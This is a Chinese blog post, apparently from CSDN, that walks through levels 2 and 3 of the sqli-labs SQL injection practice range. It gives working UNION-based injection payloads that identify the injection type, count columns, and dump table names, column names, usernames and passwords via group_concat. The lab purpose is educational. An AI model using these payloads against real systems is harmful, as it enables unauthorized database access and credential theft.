【sqli靶场】第二关和第三关通关思路

目录

前言

一、sqli靶场第二关

1.1 判断注入类型

1.2 判断数据表中的列数

1.3 使用union联合查询

1.4 使用group_concat()函数

1.5 爆出users表中的列名

1.6 爆出users表中的数据

二、sqli靶场第三关

2.1 判断注入类型

2.2 观察报错  

2.3 判断数据表中的列数

2.4 使用union联合查询

2.5 使用group_concat()函数

2.6 爆出users表中的列名

2.7 爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502


一、sqli靶场第二关

1.1 判断注入类型

输入?id=1',显示语法错误。
输入?id=1'',显示语法错误。
输入?id=1/1,正常回显。
输入?id=1/0,爆出如下页面:

证明存在数字型注入。

1.2 判断数据表中的列数

介绍一个方法:二分法

其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。

输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。

用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。

继续,输入?id=1 order by 3 --+,正常回显。

输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。

说明列数为3。

1.3 使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:

输入?id=0 union select 1,2,database()--+爆出数据库名

1.4 使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

构造:

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出了表名:

1.5 爆出users表中的列名

构造:

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

1.6 爆出users表中的数据

查看users表中所有的用户:

?id=0 union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0 union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

二、sqli靶场第三关

2.1 判断注入类型

输入?id=1',显示语法错误。


输入?id=1'',正常回显。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。

判断为字符型注入(初步判断为单引号闭合)。

2.2 观察报错  

报错信息为''1'') LIMIT 0,1' 

进一步判断为')闭合

输入?id=1') --+,正常回显。

2.3 判断数据表中的列数

输入?id=1') order by 3 --+,正常回显。

输入?id=1') order by 4 --+,显示超出。

用二分法与order by确定列数为3

2.4 使用union联合查询

输入?id=0') union select 1,2,3--+,判断回显位,页面如下:

输入?id=0') union select 1,2,database()--+爆出数据库名:

2.5 使用group_concat()函数

输入:

?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

2.6 爆出users表中的列名

输入:

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

2.7 爆出users表中的数据

查看users表中所有的用户:

?id=0') union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0') union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

  • 43
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 12
    评论
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Filotimo_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值